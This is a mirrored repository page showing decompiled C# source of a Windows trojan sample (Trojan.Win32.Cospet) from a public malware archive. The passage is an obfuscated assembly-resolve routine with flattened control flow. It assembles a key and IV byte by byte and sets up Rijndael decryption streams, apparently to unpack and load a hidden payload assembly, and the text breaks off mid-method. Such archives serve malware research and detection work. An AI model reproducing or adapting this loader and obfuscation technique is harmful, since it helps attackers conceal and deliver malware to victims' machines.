mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
f2ac1ece55
add
2763 lines
77 KiB
C#
2763 lines
77 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: dIB5tm1fm4ourlbe9N.YbbxknoBYLxEOxk0Pn
|
|
// Assembly: Service, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 7876418B-9B45-4205-B20B-41AA64972C85
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Cospet.iat-d5a913ab25c2ac01f6ad36151285d226598951b3a4f0b2d52c03e99ff09f0807.exe
|
|
|
|
using lIMo5cXu7QVSJ7hdyJ;
|
|
using System;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using TmwCXiWu118CwLLcBx;
|
|
|
|
namespace dIB5tm1fm4ourlbe9N
|
|
{
|
|
internal class YbbxknoBYLxEOxk0Pn
|
|
{
|
|
private static string[] reWBsatke = new string[0];
|
|
private static Assembly \u0039ML9lo6tT = (Assembly) null;
|
|
private static bool fTu8VEKSg = false;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
static Assembly Uj1VGPQhn([In] object obj0, [In] ResolveEventArgs obj1)
|
|
{
|
|
int num1 = 121;
|
|
if (true)
|
|
goto label_22;
|
|
label_1:
|
|
byte[] numArray1;
|
|
numArray1[3] = (byte) (135 - 45);
|
|
int num2 = 246;
|
|
goto label_23;
|
|
label_22:
|
|
num2 = num1;
|
|
label_23:
|
|
int num3;
|
|
byte[] numArray2;
|
|
int num4;
|
|
string str;
|
|
CryptoStream cryptoStream;
|
|
MemoryStream memoryStream;
|
|
ICryptoTransform transform;
|
|
byte[] numArray3;
|
|
RijndaelManaged rijndaelManaged;
|
|
byte[] numArray4;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
numArray2 = new byte[16];
|
|
num2 = 232;
|
|
continue;
|
|
case 1:
|
|
goto label_258;
|
|
case 2:
|
|
numArray1[15] = (byte) num3;
|
|
num2 = 97;
|
|
continue;
|
|
case 3:
|
|
goto label_171;
|
|
case 4:
|
|
goto label_44;
|
|
case 5:
|
|
goto label_169;
|
|
case 6:
|
|
goto label_235;
|
|
case 7:
|
|
numArray1[15] = (byte) num3;
|
|
num2 = 146;
|
|
continue;
|
|
case 8:
|
|
numArray1[5] = (byte) (164 - 54);
|
|
num2 = 43;
|
|
continue;
|
|
case 9:
|
|
goto label_94;
|
|
case 10:
|
|
goto label_113;
|
|
case 11:
|
|
goto label_100;
|
|
case 12:
|
|
num4 = 210 - 70;
|
|
num2 = 236;
|
|
continue;
|
|
case 13:
|
|
numArray1[28] = (byte) num3;
|
|
num1 = 51;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 344;
|
|
case 14:
|
|
goto label_47;
|
|
case 15:
|
|
num4 = 189 + 63;
|
|
num2 = 198;
|
|
continue;
|
|
case 16:
|
|
numArray1[2] = (byte) (73 + 112);
|
|
num2 = 305;
|
|
continue;
|
|
case 17:
|
|
goto label_277;
|
|
case 18:
|
|
goto label_266;
|
|
case 19:
|
|
goto label_56;
|
|
case 20:
|
|
goto label_336;
|
|
case 21:
|
|
num3 = 78 + 63;
|
|
num2 = 13;
|
|
continue;
|
|
case 22:
|
|
goto label_99;
|
|
case 23:
|
|
numArray2[7] = (byte) num4;
|
|
num2 = 261;
|
|
continue;
|
|
case 24:
|
|
goto label_143;
|
|
case 25:
|
|
numArray1[11] = (byte) (186 - 62);
|
|
num2 = 171;
|
|
continue;
|
|
case 26:
|
|
goto label_27;
|
|
case 27:
|
|
goto label_115;
|
|
case 28:
|
|
goto label_89;
|
|
case 29:
|
|
numArray1[23] = (byte) (198 - 66);
|
|
num2 = 125;
|
|
continue;
|
|
case 30:
|
|
goto label_297;
|
|
case 31:
|
|
numArray1[8] = (byte) num3;
|
|
num1 = 324;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 151;
|
|
case 32:
|
|
goto label_268;
|
|
case 33:
|
|
num3 = 245 - 81;
|
|
num2 = 233;
|
|
continue;
|
|
case 34:
|
|
numArray1[22] = (byte) (39 + 65);
|
|
num2 = 155;
|
|
continue;
|
|
case 35:
|
|
goto label_284;
|
|
case 36:
|
|
numArray2[11] = (byte) num4;
|
|
num2 = 317;
|
|
continue;
|
|
case 37:
|
|
num4 = 159 - 53;
|
|
num1 = 182;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto case 237;
|
|
else
|
|
goto label_22;
|
|
case 38:
|
|
numArray1[14] = (byte) (155 - 51);
|
|
num2 = 27;
|
|
continue;
|
|
case 39:
|
|
goto label_220;
|
|
case 40:
|
|
goto label_111;
|
|
case 41:
|
|
goto label_347;
|
|
case 42:
|
|
goto label_14;
|
|
case 43:
|
|
numArray1[5] = (byte) (142 + 35);
|
|
num2 = 64;
|
|
continue;
|
|
case 44:
|
|
num3 = 175 - 58;
|
|
num2 = 189;
|
|
continue;
|
|
case 45:
|
|
numArray1[31] = (byte) num3;
|
|
num2 = 48;
|
|
continue;
|
|
case 46:
|
|
numArray1[4] = (byte) num3;
|
|
num2 = 91;
|
|
continue;
|
|
case 47:
|
|
numArray2[13] = (byte) num4;
|
|
num1 = 312;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 178;
|
|
case 48:
|
|
numArray1[31] = (byte) (30 + 58);
|
|
num2 = 192;
|
|
continue;
|
|
case 49:
|
|
transform = (ICryptoTransform) YbbxknoBYLxEOxk0Pn.LKX4l47Yoj2lWp0hqh((object) rijndaelManaged, (object) numArray4, (object) numArray3);
|
|
num2 = 133;
|
|
continue;
|
|
case 50:
|
|
numArray1[22] = (byte) (90 + 26);
|
|
num2 = 346;
|
|
continue;
|
|
case 51:
|
|
goto label_340;
|
|
case 52:
|
|
goto label_348;
|
|
case 53:
|
|
numArray2[6] = (byte) num4;
|
|
num1 = 165;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
else
|
|
goto case 69;
|
|
case 54:
|
|
goto label_52;
|
|
case 55:
|
|
str = (string) YbbxknoBYLxEOxk0Pn.WS6tAn0RW8Hurp1Xwj((object) obj1);
|
|
num1 = 60;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 130;
|
|
case 56:
|
|
num3 = 157 + 60;
|
|
num2 = 28;
|
|
continue;
|
|
case 57:
|
|
num3 = 24 + 38;
|
|
num2 = 178;
|
|
continue;
|
|
case 58:
|
|
goto label_185;
|
|
case 59:
|
|
numArray2[13] = (byte) (184 - 61);
|
|
num1 = 83;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 53;
|
|
case 60:
|
|
goto label_11;
|
|
case 61:
|
|
goto label_225;
|
|
case 62:
|
|
goto label_133;
|
|
case 63:
|
|
numArray2[15] = (byte) (252 - 84);
|
|
num2 = 1;
|
|
continue;
|
|
case 64:
|
|
numArray1[6] = (byte) (204 - 68);
|
|
num2 = (int) byte.MaxValue;
|
|
continue;
|
|
case 65:
|
|
goto label_2;
|
|
case 66:
|
|
numArray1[27] = (byte) (48 + 79);
|
|
num1 = 210;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 194;
|
|
case 67:
|
|
case 115:
|
|
goto label_34;
|
|
case 68:
|
|
goto label_58;
|
|
case 69:
|
|
numArray1[6] = (byte) (136 - 45);
|
|
num2 = 256;
|
|
continue;
|
|
case 70:
|
|
cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
|
|
num1 = 309;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
else
|
|
goto case 118;
|
|
case 71:
|
|
num3 = 199 - 66;
|
|
num1 = 31;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
else
|
|
goto case 102;
|
|
case 72:
|
|
numArray1[26] = (byte) num3;
|
|
num2 = 148;
|
|
continue;
|
|
case 73:
|
|
goto label_123;
|
|
case 74:
|
|
numArray1[26] = (byte) num3;
|
|
num1 = 339;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 2;
|
|
case 75:
|
|
numArray1[0] = (byte) (137 - 66);
|
|
num1 = 269;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto case 82;
|
|
else
|
|
goto label_22;
|
|
case 76:
|
|
numArray1[28] = (byte) num3;
|
|
num1 = 58;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 57;
|
|
case 77:
|
|
goto label_192;
|
|
case 78:
|
|
goto label_83;
|
|
case 79:
|
|
num4 = 162 - 54;
|
|
num1 = 53;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
else
|
|
goto case 280;
|
|
case 80:
|
|
case 273:
|
|
numArray2[7] = (byte) (67 + 112);
|
|
num1 = 288;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
else
|
|
goto case 25;
|
|
case 81:
|
|
goto label_259;
|
|
case 82:
|
|
numArray2[2] = (byte) num4;
|
|
num2 = 12;
|
|
continue;
|
|
case 83:
|
|
goto label_90;
|
|
case 84:
|
|
goto label_236;
|
|
case 85:
|
|
goto label_132;
|
|
case 86:
|
|
goto label_31;
|
|
case 87:
|
|
goto label_121;
|
|
case 88:
|
|
num3 = 55 - 19;
|
|
num2 = 276;
|
|
continue;
|
|
case 89:
|
|
goto label_289;
|
|
case 90:
|
|
goto label_174;
|
|
case 91:
|
|
goto label_15;
|
|
case 92:
|
|
goto label_72;
|
|
case 93:
|
|
goto label_166;
|
|
case 94:
|
|
num3 = 206 - 68;
|
|
num2 = 4;
|
|
continue;
|
|
case 95:
|
|
goto label_96;
|
|
case 96:
|
|
num4 = 14 + 96;
|
|
num1 = 204;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto case 344;
|
|
else
|
|
goto label_22;
|
|
case 97:
|
|
numArray1[15] = (byte) (41 + 59);
|
|
num2 = 243;
|
|
continue;
|
|
case 98:
|
|
goto label_39;
|
|
case 99:
|
|
goto label_208;
|
|
case 100:
|
|
goto label_324;
|
|
case 101:
|
|
numArray2[6] = (byte) num4;
|
|
num2 = 262;
|
|
continue;
|
|
case 102:
|
|
numArray1[29] = (byte) num3;
|
|
num2 = 257;
|
|
continue;
|
|
case 103:
|
|
goto label_164;
|
|
case 104:
|
|
goto label_263;
|
|
case 105:
|
|
goto label_28;
|
|
case 106:
|
|
goto label_198;
|
|
case 107:
|
|
goto label_346;
|
|
case 108:
|
|
goto label_351;
|
|
case 109:
|
|
goto label_175;
|
|
case 110:
|
|
goto label_343;
|
|
case 111:
|
|
goto label_273;
|
|
case 112:
|
|
goto label_101;
|
|
case 113:
|
|
goto label_338;
|
|
case 114:
|
|
goto label_295;
|
|
case 116:
|
|
goto label_75;
|
|
case 117:
|
|
goto label_269;
|
|
case 118:
|
|
numArray1[3] = (byte) (97 - 81);
|
|
num2 = 93;
|
|
continue;
|
|
case 119:
|
|
goto label_344;
|
|
case 120:
|
|
numArray1[1] = (byte) num3;
|
|
num2 = 318;
|
|
continue;
|
|
case 121:
|
|
if ((object) YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT != null)
|
|
goto case 55;
|
|
else
|
|
goto label_342;
|
|
case 122:
|
|
numArray1[30] = (byte) (153 - 51);
|
|
num1 = 343;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
else
|
|
goto case (int) sbyte.MaxValue;
|
|
case 123:
|
|
goto label_1;
|
|
case 124:
|
|
goto label_302;
|
|
case 125:
|
|
goto label_98;
|
|
case 126:
|
|
numArray2[11] = (byte) (55 + 42);
|
|
num1 = 201;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 165;
|
|
case (int) sbyte.MaxValue:
|
|
num4 = 193 - 64;
|
|
num1 = 290;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 249;
|
|
case 128:
|
|
case 207:
|
|
goto label_207;
|
|
case 129:
|
|
goto label_195;
|
|
case 130:
|
|
numArray1[21] = (byte) num3;
|
|
num2 = 264;
|
|
continue;
|
|
case 131:
|
|
numArray1[18] = (byte) num3;
|
|
num2 = 332;
|
|
continue;
|
|
case 132:
|
|
numArray1[11] = (byte) num3;
|
|
num1 = 229;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
else
|
|
goto case 286;
|
|
case 133:
|
|
memoryStream = new MemoryStream();
|
|
num1 = 70;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 29;
|
|
case 134:
|
|
num4 = 91 + 43;
|
|
num1 = 304;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
else
|
|
goto case 97;
|
|
case 135:
|
|
goto label_260;
|
|
case 136:
|
|
goto label_125;
|
|
case 137:
|
|
num3 = 165 - 55;
|
|
num2 = 195;
|
|
continue;
|
|
case 138:
|
|
goto label_352;
|
|
case 139:
|
|
num4 = 106 - 16;
|
|
num2 = 5;
|
|
continue;
|
|
case 140:
|
|
goto label_251;
|
|
case 141:
|
|
goto label_294;
|
|
case 142:
|
|
goto label_17;
|
|
case 143:
|
|
goto label_59;
|
|
case 144:
|
|
goto label_97;
|
|
case 145:
|
|
goto label_37;
|
|
case 146:
|
|
goto label_141;
|
|
case 147:
|
|
goto label_240;
|
|
case 148:
|
|
numArray1[26] = (byte) (10 + 58);
|
|
num2 = 144;
|
|
continue;
|
|
case 149:
|
|
goto label_323;
|
|
case 150:
|
|
numArray1[24] = (byte) num3;
|
|
num1 = 44;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 12;
|
|
case 151:
|
|
num4 = 155 - 51;
|
|
num2 = 281;
|
|
continue;
|
|
case 152:
|
|
goto label_122;
|
|
case 153:
|
|
goto label_5;
|
|
case 154:
|
|
goto label_257;
|
|
case 155:
|
|
goto label_161;
|
|
case 156:
|
|
goto label_357;
|
|
case 157:
|
|
goto label_271;
|
|
case 158:
|
|
goto label_7;
|
|
case 159:
|
|
goto label_180;
|
|
case 160:
|
|
goto label_156;
|
|
case 161:
|
|
goto label_206;
|
|
case 162:
|
|
goto label_354;
|
|
case 163:
|
|
numArray3 = numArray2;
|
|
num2 = 156;
|
|
continue;
|
|
case 164:
|
|
goto label_106;
|
|
case 165:
|
|
num4 = 174 - 58;
|
|
num2 = 101;
|
|
continue;
|
|
case 166:
|
|
goto label_243;
|
|
case 167:
|
|
goto label_172;
|
|
case 168:
|
|
goto label_129;
|
|
case 169:
|
|
goto label_149;
|
|
case 170:
|
|
goto label_112;
|
|
case 171:
|
|
num3 = 129 - 43;
|
|
num1 = 132;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 334;
|
|
case 172:
|
|
numArray1[5] = (byte) (203 - 67);
|
|
num1 = 138;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 74;
|
|
case 173:
|
|
goto label_306;
|
|
case 174:
|
|
goto label_199;
|
|
case 175:
|
|
goto label_272;
|
|
case 176:
|
|
goto label_92;
|
|
case 177:
|
|
goto label_329;
|
|
case 178:
|
|
numArray1[29] = (byte) num3;
|
|
num1 = 302;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 297;
|
|
case 179:
|
|
goto label_173;
|
|
case 180:
|
|
num4 = 118 + 61;
|
|
num2 = 52;
|
|
continue;
|
|
case 181:
|
|
goto label_276;
|
|
case 182:
|
|
goto label_131;
|
|
case 183:
|
|
goto label_262;
|
|
case 184:
|
|
goto label_245;
|
|
case 185:
|
|
goto label_65;
|
|
case 186:
|
|
goto label_138;
|
|
case 187:
|
|
goto label_85;
|
|
case 188:
|
|
numArray1[2] = (byte) (54 + 85);
|
|
num2 = 19;
|
|
continue;
|
|
case 189:
|
|
goto label_66;
|
|
case 190:
|
|
numArray2[9] = (byte) num4;
|
|
num2 = 184;
|
|
continue;
|
|
case 191:
|
|
numArray1[12] = (byte) (18 + 112);
|
|
num1 = 187;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 328;
|
|
case 192:
|
|
goto label_3;
|
|
case 193:
|
|
goto label_63;
|
|
case 194:
|
|
num3 = 128 - 42;
|
|
num2 = 112;
|
|
continue;
|
|
case 195:
|
|
numArray1[16] = (byte) num3;
|
|
num2 = 325;
|
|
continue;
|
|
case 196:
|
|
goto label_286;
|
|
case 197:
|
|
goto label_211;
|
|
case 198:
|
|
goto label_78;
|
|
case 199:
|
|
num4 = 244 - 81;
|
|
num1 = 114;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
else
|
|
goto case 242;
|
|
case 200:
|
|
goto label_305;
|
|
case 201:
|
|
goto label_139;
|
|
case 202:
|
|
goto label_10;
|
|
case 203:
|
|
goto label_183;
|
|
case 204:
|
|
goto label_322;
|
|
case 205:
|
|
num4 = 80 + 38;
|
|
num2 = 153;
|
|
continue;
|
|
case 206:
|
|
goto label_128;
|
|
case 208:
|
|
numArray2[15] = (byte) (165 - 55);
|
|
num2 = 63;
|
|
continue;
|
|
case 209:
|
|
goto label_16;
|
|
case 210:
|
|
numArray1[27] = (byte) (97 + 80);
|
|
num2 = 212;
|
|
continue;
|
|
case 211:
|
|
YbbxknoBYLxEOxk0Pn.UAiUy9DbJPvrtDfaYG((object) cryptoStream);
|
|
num1 = 40;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto case 343;
|
|
else
|
|
goto label_22;
|
|
case 212:
|
|
goto label_114;
|
|
case 213:
|
|
goto label_231;
|
|
case 214:
|
|
goto label_109;
|
|
case 215:
|
|
numArray1 = new byte[32];
|
|
num2 = 11;
|
|
continue;
|
|
case 216:
|
|
goto label_221;
|
|
case 217:
|
|
goto label_237;
|
|
case 218:
|
|
goto label_224;
|
|
case 219:
|
|
goto label_87;
|
|
case 220:
|
|
numArray1[22] = (byte) (65 + 62);
|
|
num2 = 34;
|
|
continue;
|
|
case 221:
|
|
goto label_12;
|
|
case 222:
|
|
goto label_86;
|
|
case 223:
|
|
goto label_353;
|
|
case 224:
|
|
goto label_222;
|
|
case 225:
|
|
goto label_227;
|
|
case 226:
|
|
num4 = 72 - 28;
|
|
num2 = 335;
|
|
continue;
|
|
case 227:
|
|
goto label_275;
|
|
case 228:
|
|
goto label_304;
|
|
case 229:
|
|
goto label_71;
|
|
case 230:
|
|
goto label_292;
|
|
case 231:
|
|
goto label_147;
|
|
case 232:
|
|
goto label_95;
|
|
case 233:
|
|
goto label_142;
|
|
case 234:
|
|
num3 = 154 - 51;
|
|
num2 = 39;
|
|
continue;
|
|
case 235:
|
|
numArray1[24] = (byte) (104 - 44);
|
|
num2 = 186;
|
|
continue;
|
|
case 236:
|
|
goto label_26;
|
|
case 237:
|
|
numArray1[25] = (byte) (197 + 26);
|
|
goto case 341;
|
|
case 238:
|
|
goto label_117;
|
|
case 239:
|
|
numArray2[12] = (byte) (115 + 19);
|
|
num1 = 289;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 341;
|
|
case 240:
|
|
goto label_197;
|
|
case 241:
|
|
goto label_265;
|
|
case 242:
|
|
num4 = 162 - 110;
|
|
num2 = 296;
|
|
continue;
|
|
case 243:
|
|
goto label_337;
|
|
case 244:
|
|
goto label_303;
|
|
case 245:
|
|
goto label_30;
|
|
case 246:
|
|
goto label_130;
|
|
case 247:
|
|
goto label_29;
|
|
case 248:
|
|
goto label_196;
|
|
case 249:
|
|
numArray1[20] = (byte) (7 + 2);
|
|
num2 = 164;
|
|
continue;
|
|
case 250:
|
|
goto label_84;
|
|
case 251:
|
|
goto label_241;
|
|
case 252:
|
|
goto label_320;
|
|
case 253:
|
|
numArray1[7] = (byte) (213 + 16);
|
|
num2 = 71;
|
|
continue;
|
|
case 254:
|
|
numArray1[19] = (byte) (3 + 78);
|
|
YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6();
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
{
|
|
num2 = 207;
|
|
continue;
|
|
}
|
|
goto label_191;
|
|
case (int) byte.MaxValue:
|
|
goto label_36;
|
|
case 256:
|
|
goto label_13;
|
|
case 257:
|
|
goto label_163;
|
|
case 258:
|
|
goto label_50;
|
|
case 259:
|
|
goto label_301;
|
|
case 260:
|
|
goto label_57;
|
|
case 261:
|
|
numArray2[7] = (byte) (71 + 43);
|
|
goto case 80;
|
|
case 262:
|
|
goto label_244;
|
|
case 263:
|
|
goto label_249;
|
|
case 264:
|
|
num3 = 97 + 102;
|
|
num2 = 129;
|
|
continue;
|
|
case 265:
|
|
goto label_9;
|
|
case 266:
|
|
goto label_315;
|
|
case 267:
|
|
num3 = 5 + 83;
|
|
num1 = 130;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 33;
|
|
case 268:
|
|
goto label_333;
|
|
case 269:
|
|
numArray1[1] = (byte) (27 + 85);
|
|
num1 = 214;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
else
|
|
goto case 302;
|
|
case 270:
|
|
numArray2[1] = (byte) num4;
|
|
num2 = 298;
|
|
continue;
|
|
case 271:
|
|
goto label_288;
|
|
case 272:
|
|
numArray2[14] = (byte) num4;
|
|
num2 = 61;
|
|
continue;
|
|
case 274:
|
|
goto label_267;
|
|
case 275:
|
|
goto label_70;
|
|
case 276:
|
|
goto label_270;
|
|
case 277:
|
|
goto label_124;
|
|
case 278:
|
|
goto label_291;
|
|
case 279:
|
|
numArray1[5] = (byte) num3;
|
|
num2 = 172;
|
|
continue;
|
|
case 280:
|
|
numArray2[7] = (byte) (62 - 37);
|
|
num2 = 179;
|
|
continue;
|
|
case 281:
|
|
goto label_226;
|
|
case 282:
|
|
goto label_204;
|
|
case 283:
|
|
goto label_255;
|
|
case 284:
|
|
goto label_62;
|
|
case 285:
|
|
goto label_176;
|
|
case 286:
|
|
numArray1[30] = (byte) num3;
|
|
num2 = 122;
|
|
continue;
|
|
case 287:
|
|
numArray1[23] = (byte) num3;
|
|
num2 = 29;
|
|
continue;
|
|
case 288:
|
|
goto label_349;
|
|
case 289:
|
|
goto label_184;
|
|
case 290:
|
|
goto label_127;
|
|
case 291:
|
|
goto label_165;
|
|
case 292:
|
|
goto label_283;
|
|
case 293:
|
|
numArray2[5] = (byte) (179 - 59);
|
|
num2 = 109;
|
|
continue;
|
|
case 294:
|
|
num4 = 69 + 71;
|
|
num2 = 157;
|
|
continue;
|
|
case 295:
|
|
numArray1[4] = (byte) num3;
|
|
num2 = 301;
|
|
continue;
|
|
case 296:
|
|
numArray2[15] = (byte) num4;
|
|
num2 = 163;
|
|
continue;
|
|
case 297:
|
|
numArray2[0] = (byte) (207 - 69);
|
|
num2 = 321;
|
|
continue;
|
|
case 298:
|
|
goto label_77;
|
|
case 299:
|
|
goto label_61;
|
|
case 300:
|
|
goto label_254;
|
|
case 301:
|
|
num3 = 181 + 58;
|
|
num2 = 3;
|
|
continue;
|
|
case 302:
|
|
numArray1[29] = (byte) (178 - 111);
|
|
num1 = 78;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 44;
|
|
case 303:
|
|
goto label_6;
|
|
case 304:
|
|
goto label_32;
|
|
case 305:
|
|
goto label_74;
|
|
case 306:
|
|
goto label_110;
|
|
case 307:
|
|
goto label_308;
|
|
case 308:
|
|
numArray1[19] = (byte) (214 - 118);
|
|
num2 = 98;
|
|
continue;
|
|
case 309:
|
|
goto label_250;
|
|
case 310:
|
|
goto label_311;
|
|
case 311:
|
|
goto label_144;
|
|
case 312:
|
|
goto label_335;
|
|
case 313:
|
|
goto label_46;
|
|
case 314:
|
|
goto label_230;
|
|
case 315:
|
|
goto label_200;
|
|
case 316:
|
|
goto label_170;
|
|
case 317:
|
|
num4 = 176 + 18;
|
|
num2 = 100;
|
|
continue;
|
|
case 318:
|
|
goto label_345;
|
|
case 319:
|
|
goto label_88;
|
|
case 320:
|
|
goto label_219;
|
|
case 321:
|
|
goto label_53;
|
|
case 322:
|
|
numArray1[20] = (byte) (49 + 114);
|
|
num1 = 99;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto case 122;
|
|
case 323:
|
|
numArray1[5] = (byte) num3;
|
|
num2 = 8;
|
|
continue;
|
|
case 324:
|
|
goto label_325;
|
|
case 325:
|
|
num3 = 252 - 84;
|
|
num2 = 87;
|
|
continue;
|
|
case 326:
|
|
goto label_102;
|
|
case 327:
|
|
goto label_167;
|
|
case 328:
|
|
num4 = 84 + 101;
|
|
num2 = 42;
|
|
continue;
|
|
case 329:
|
|
goto label_350;
|
|
case 330:
|
|
goto label_203;
|
|
case 331:
|
|
numArray1[1] = (byte) (41 + 3);
|
|
num2 = 26;
|
|
continue;
|
|
case 332:
|
|
goto label_328;
|
|
case 333:
|
|
goto label_148;
|
|
case 334:
|
|
num3 = 229 - 76;
|
|
num2 = 336;
|
|
continue;
|
|
case 335:
|
|
goto label_278;
|
|
case 336:
|
|
goto label_140;
|
|
case 337:
|
|
goto label_261;
|
|
case 338:
|
|
numArray1[19] = (byte) (194 - 64);
|
|
num2 = 308;
|
|
continue;
|
|
case 339:
|
|
goto label_107;
|
|
case 340:
|
|
num4 = 41 + 61;
|
|
num2 = 227;
|
|
continue;
|
|
case 341:
|
|
num3 = 246 - 82;
|
|
num2 = 74;
|
|
continue;
|
|
case 342:
|
|
numArray1[16] = (byte) num3;
|
|
num1 = 209;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
else
|
|
goto case 317;
|
|
case 343:
|
|
numArray1[30] = (byte) (113 - 59);
|
|
num2 = 310;
|
|
continue;
|
|
case 344:
|
|
num3 = 168 + 83;
|
|
num2 = 76;
|
|
continue;
|
|
case 345:
|
|
goto label_242;
|
|
case 346:
|
|
num3 = 147 + 92;
|
|
num2 = 251;
|
|
continue;
|
|
case 347:
|
|
goto label_137;
|
|
case 348:
|
|
goto label_355;
|
|
default:
|
|
goto label_24;
|
|
}
|
|
}
|
|
label_2:
|
|
numArray1[21] = (byte) num3;
|
|
num1 = 105;
|
|
if (true)
|
|
goto label_22;
|
|
label_3:
|
|
num3 = 211 - 70;
|
|
int num5 = 160;
|
|
goto label_21;
|
|
label_5:
|
|
numArray2[5] = (byte) num4;
|
|
num1 = 124;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
label_6:
|
|
num3 = 244 - 81;
|
|
num5 = 131;
|
|
goto label_21;
|
|
label_7:
|
|
numArray1[12] = (byte) (72 + 28);
|
|
num5 = 191;
|
|
goto label_21;
|
|
label_9:
|
|
numArray1[24] = (byte) num3;
|
|
num1 = 235;
|
|
if (true)
|
|
goto label_22;
|
|
label_10:
|
|
numArray2[6] = (byte) num4;
|
|
num1 = 79;
|
|
goto label_22;
|
|
label_11:
|
|
int index = 0;
|
|
num5 = 115;
|
|
goto label_21;
|
|
label_12:
|
|
numArray2[10] = (byte) (59 + 83);
|
|
num1 = 110;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_305;
|
|
else
|
|
goto label_22;
|
|
label_13:
|
|
numArray1[6] = (byte) (199 - 116);
|
|
num5 = 196;
|
|
goto label_21;
|
|
label_14:
|
|
numArray2[1] = (byte) num4;
|
|
num1 = 149;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
label_15:
|
|
numArray1[4] = (byte) (88 + 13);
|
|
num1 = 108;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_137;
|
|
else
|
|
goto label_22;
|
|
label_16:
|
|
num3 = 198 - 96;
|
|
num1 = 329;
|
|
goto label_22;
|
|
label_17:
|
|
num3 = 16 + 74;
|
|
num5 = 274;
|
|
label_21:
|
|
num1 = num5;
|
|
goto label_22;
|
|
label_24:
|
|
num5 = 341;
|
|
goto label_21;
|
|
label_26:
|
|
numArray2[2] = (byte) num4;
|
|
num1 = 181;
|
|
goto label_22;
|
|
label_27:
|
|
num3 = 146 - 48;
|
|
num5 = 120;
|
|
goto label_21;
|
|
label_28:
|
|
num3 = 214 - 71;
|
|
num1 = 174;
|
|
goto label_22;
|
|
label_29:
|
|
num3 = 245 - 81;
|
|
num1 = 345;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
label_30:
|
|
numArray2[0] = (byte) num4;
|
|
num5 = 297;
|
|
goto label_21;
|
|
label_31:
|
|
numArray1[23] = (byte) (97 + 116);
|
|
num1 = 271;
|
|
goto label_22;
|
|
label_32:
|
|
numArray2[14] = (byte) num4;
|
|
num1 = 217;
|
|
goto label_22;
|
|
label_34:
|
|
